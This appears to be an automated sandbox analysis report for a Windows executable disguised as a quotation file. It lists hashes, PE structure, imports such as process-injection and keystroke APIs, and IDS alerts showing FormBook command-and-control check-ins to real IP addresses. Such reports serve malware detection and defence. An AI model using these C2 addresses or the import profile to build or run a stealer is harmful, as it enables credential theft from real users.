Preview:	...Y4H285CDY..YD.7LCES9YwH281CDYVVYDD7LCES9Y7H281CDYVVYDD7LC.S9Y9W.61.M.w.X....+, .)E'UJP.d:787+0..&e!L7.!\.u..y;9=!j:AIaS9Y7H28HBM.k6>.yW+.x3^.-...##.L..xW+._....(U.c*'1k6>.D7LCES9Yg.28}BEY<...D7LCES9Y.H09:BOYV.]DD7LCES9Yg]281SDYV&]DD7.CEC9Y7J287CDYVVYDB7LCES9Y78681ADYVVYDF7..ES)Y7X281CTYVFYDD7LCUS9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYx"<<07LC..=Y7X281.@YVFYDD7LCES9Y7H28.CD9VVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LCES9Y7H281CDYVVYDD7LC

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.429417446472281
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QUOTATION#050125.exe
File size:	1'755'136 bytes
MD5:	b1261de24d9bcbf7395ae21722d32a37
SHA1:	dd0d541b122ef10b820925b47ab94d76905df95c
SHA256:	ba10f77f57b8d779c13abf725979c204d8f3b618ebd0d2f88e6c0cc7eb11c989
SHA512:	0d79f330fab83a736ab59a51447293f898af2d0175a051b38b35d4c3528d75cd4492edc288a82197c3c2f8d7923dfd44dac411f0bd81056c9f07d24c968ee1d2
SSDEEP:	24576:MqDEvCTbMWu7rQYlBQcBiT6rprG8aJ3X3N5uUKJThkkgDdwtaxFygI4V:MTvC/MTQYxsWR7aJH3N5uDFkkgDO/
TLSH:	C085E1023791C022FF9B91330BA6F66597BC6E260127E51F13582DB9BE705B1163E7A3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

File Icon


Icon Hash:	333333ab693b9b98

Static PE Info

General

Entrypoint:	0x420577
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x677D278F [Tue Jan 7 13:09:35 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	948cc502fe9226992dce9417f952fce3

Entrypoint Preview

Instruction
call 00007FC378BC0C53h
jmp 00007FC378BC055Fh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FC378BC073Dh
mov dword ptr [esi], 0049FDF0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FDF8h
mov dword ptr [ecx], 0049FDF0h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FC378BC070Ah
mov dword ptr [esi], 0049FE0Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE14h
mov dword ptr [ecx], 0049FE0Ch
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007FC378BC32FDh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0049FDD0h
push eax
call 00007FC378BC3348h
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
push eax
call 00007FC378BC3331h
test byte ptr [ebp+08h], 00000001h
pop ecx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc8e64	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0xd5c44	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1aa000	0x7594	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb0ff0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc3400	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb1010	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9c000	0x894	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9ab1d	0x9ac00	0a1473f3064dcbc32ef93c5c8a90f3a6	False	0.565500681542811	data	6.668273581389308	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9c000	0x2fb82	0x2fc00	c9cf2468b60bf4f80f136ed54b3989fb	False	0.35289185209424084	data	5.691811547483722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xcc000	0x706c	0x4800	53b9025d545d65e23295e30afdbd16d9	False	0.04356553819444445	DOS executable (block device driver @\273\)	0.5846666986982398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd4000	0xd5c44	0xd5e00	55dd1cd250ad038bee459c5c8a93c5d9	False	0.9285243004821742	data	7.901171376041021	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1aa000	0x7594	0x7600	c68ee8931a32d45eb82dc450ee40efc3	False	0.7628111758474576	data	6.7972128181359786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xd4548	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xd4670	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xd4798	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xd48c0	0x10d8b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9989130907351854
RT_ICON	0xe564c	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	Great Britain	0.42335561339169525
RT_ICON	0xf5e74	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	Great Britain	0.5058455361360416
RT_ICON	0xfa09c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	Great Britain	0.5346473029045643
RT_ICON	0xfc644	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	Great Britain	0.6055347091932458
RT_ICON	0xfd6ec	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	Great Britain	0.7225177304964538
RT_MENU	0xfdb54	0x50	data	English	Great Britain	0.9
RT_STRING	0xfdba4	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xfe138	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0xfe7c4	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xfec54	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xff250	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xff8ac	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xffd14	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xffe6c	0xa9872	data			1.0003182667853328
RT_GROUP_ICON	0x1a96e0	0x5a	Targa image data - Map 32 x 3467 x 1 +1	English	Great Britain	0.7888888888888889
RT_GROUP_ICON	0x1a973c	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x1a9750	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x1a9764	0x14	data	English	Great Britain	1.25
RT_VERSION	0x1a9778	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x1a9854	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, GetCurrentThread, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
USER32.dll	GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, ClientToScreen, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, LockWindowUpdate, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, TrackPopupMenuEx, GetMessageW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, DispatchMessageW, keybd_event, TranslateMessage, ScreenToClient
GDI32.dll	EndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-09T16:52:36.489820+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.30	49816	23.51.25.15	443	TCP
2025-01-09T16:53:52.051834+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49822	194.9.94.85	80	TCP
2025-01-09T16:54:07.714217+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49823	45.33.2.79	80	TCP
2025-01-09T16:54:10.391004+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49824	45.33.2.79	80	TCP
2025-01-09T16:54:13.077070+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49825	45.33.2.79	80	TCP
2025-01-09T16:54:15.757014+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49826	45.33.2.79	80	TCP
2025-01-09T16:54:21.608591+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49827	104.21.32.1	80	TCP
2025-01-09T16:54:24.244183+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49828	104.21.32.1	80	TCP
2025-01-09T16:54:26.937990+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49829	104.21.32.1	80	TCP
2025-01-09T16:54:29.548389+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49830	104.21.32.1	80	TCP
2025-01-09T16:54:35.120967+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49831	199.192.21.169	80	TCP
2025-01-09T16:54:37.839285+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49832	199.192.21.169	80	TCP
2025-01-09T16:54:40.554331+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49833	199.192.21.169	80	TCP
2025-01-09T16:54:42.963333+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.30	49834	23.51.25.15	443	TCP
2025-01-09T16:54:43.248467+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49835	199.192.21.169	80	TCP
2025-01-09T16:54:58.140683+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49837	47.83.1.90	80	TCP
2025-01-09T16:55:00.987330+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49838	47.83.1.90	80	TCP
2025-01-09T16:55:03.815419+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49839	47.83.1.90	80	TCP
2025-01-09T16:55:06.653934+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49840	47.83.1.90	80	TCP
2025-01-09T16:55:13.143460+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49841	13.248.169.48	80	TCP
2025-01-09T16:55:16.828657+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49842	13.248.169.48	80	TCP
2025-01-09T16:55:19.503582+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49843	13.248.169.48	80	TCP
2025-01-09T16:55:22.176095+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49844	13.248.169.48	80	TCP
2025-01-09T16:55:28.531368+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49845	160.25.166.123	80	TCP
2025-01-09T16:55:31.447955+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49846	160.25.166.123	80	TCP
2025-01-09T16:55:34.328891+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49847	160.25.166.123	80	TCP
2025-01-09T16:55:37.221311+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49848	160.25.166.123	80	TCP
2025-01-09T16:55:42.696549+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49849	172.67.132.227	80	TCP
2025-01-09T16:55:45.403920+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49850	172.67.132.227	80	TCP
2025-01-09T16:55:47.995536+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49851	172.67.132.227	80	TCP
2025-01-09T16:55:50.646653+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49852	172.67.132.227	80	TCP
2025-01-09T16:56:04.899063+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49853	136.243.64.147	80	TCP
2025-01-09T16:56:07.661034+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49854	136.243.64.147	80	TCP
2025-01-09T16:56:10.433956+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49855	136.243.64.147	80	TCP
2025-01-09T16:56:13.200101+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49856	136.243.64.147	80	TCP
2025-01-09T16:56:19.465774+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49857	202.95.11.110	80	TCP
2025-01-09T16:56:22.308847+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49858	202.95.11.110	80	TCP
2025-01-09T16:56:25.148181+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49859	202.95.11.110	80	TCP
2025-01-09T16:56:28.134094+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49860	202.95.11.110	80	TCP
2025-01-09T16:56:33.688551+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49861	13.248.169.48	80	TCP
2025-01-09T16:56:36.359727+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49862	13.248.169.48	80	TCP
2025-01-09T16:56:40.047154+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49863	13.248.169.48	80	TCP
2025-01-09T16:56:42.719717+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49864	13.248.169.48	80	TCP
2025-01-09T16:56:48.438417+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49865	103.106.67.112	80	TCP
2025-01-09T16:56:49.482152+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.30	49866	23.51.25.15	443	TCP
2025-01-09T16:56:51.152255+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49867	103.106.67.112	80	TCP
2025-01-09T16:56:53.881158+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49868	103.106.67.112	80	TCP
2025-01-09T16:56:56.585336+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49869	103.106.67.112	80	TCP
2025-01-09T16:57:02.223002+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49870	104.21.32.1	80	TCP
2025-01-09T16:57:04.782211+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49871	104.21.32.1	80	TCP
2025-01-09T16:57:07.466673+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49872	104.21.32.1	80	TCP
2025-01-09T16:57:10.239085+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49873	104.21.32.1	80	TCP
2025-01-09T16:57:16.761522+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49874	47.83.1.90	80	TCP
2025-01-09T16:57:19.624236+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49875	47.83.1.90	80	TCP
2025-01-09T16:57:22.481832+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49876	47.83.1.90	80	TCP
2025-01-09T16:57:25.324867+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49877	47.83.1.90	80	TCP
2025-01-09T16:57:33.954130+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49878	194.9.94.85	80	TCP
2025-01-09T16:57:39.268222+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49879	45.33.2.79	80	TCP
